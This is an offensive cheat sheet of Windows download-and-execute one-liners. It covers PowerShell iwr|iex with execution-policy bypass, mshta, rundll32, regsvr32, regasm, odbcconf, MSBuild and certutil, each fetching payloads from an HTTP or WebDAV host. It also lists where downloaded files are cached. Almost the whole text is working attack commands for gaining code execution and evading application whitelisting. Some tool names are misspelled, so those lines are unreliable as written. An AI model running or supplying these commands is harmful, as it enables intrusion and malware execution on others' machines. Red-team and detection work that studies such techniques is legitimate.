

# Windows - Download and execute methods

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## Downloaded files location

- C:\Users\\AppData\Local\Microsoft\Windows\Temporary Internet Files\
- C:\Users\\AppData\Local\Microsoft\Windows\INetCache\IE\
- C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs\_DAV

## Powershell

From an HTTP server

```
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
```

From a Webdav server

```
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```

## Cmd

```
cmd.exe /k < \\webdavserver\folder\batchfile.txt
```

## Cscript / Wscript

```
cscript //E:jscript \\webdavserver\folder\payload.txt
```

## Mshhta

```
mshhta vbscript:Close(Execute("GetObject("script:http://webserver/payload.sct")"))
```

```
mshhta http://webserver/payload.hta
```

```
mshhta \\webdavserver\folder\payload.hta
```

## Rundll32

```
[-] rundll32 \\webdavserver\folder\payload.dll,entrypoint
```

```
[-] rundll32.exe javascript:"..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```

## Regasm / Regsvc @subTee

```
[-] C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```

## Regsvr32 @subTee

```
[-] regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```

```
[-] regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```

## Odbcconf

```
[-] odbccconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```

## Msbuid

```
[-] cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```

## Certutil

```
[-] certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```

```
[-] certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```

## Thanks to

- arno0x0x – Windows oneliners to download remote payload and execute arbitrary code (<https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/>)

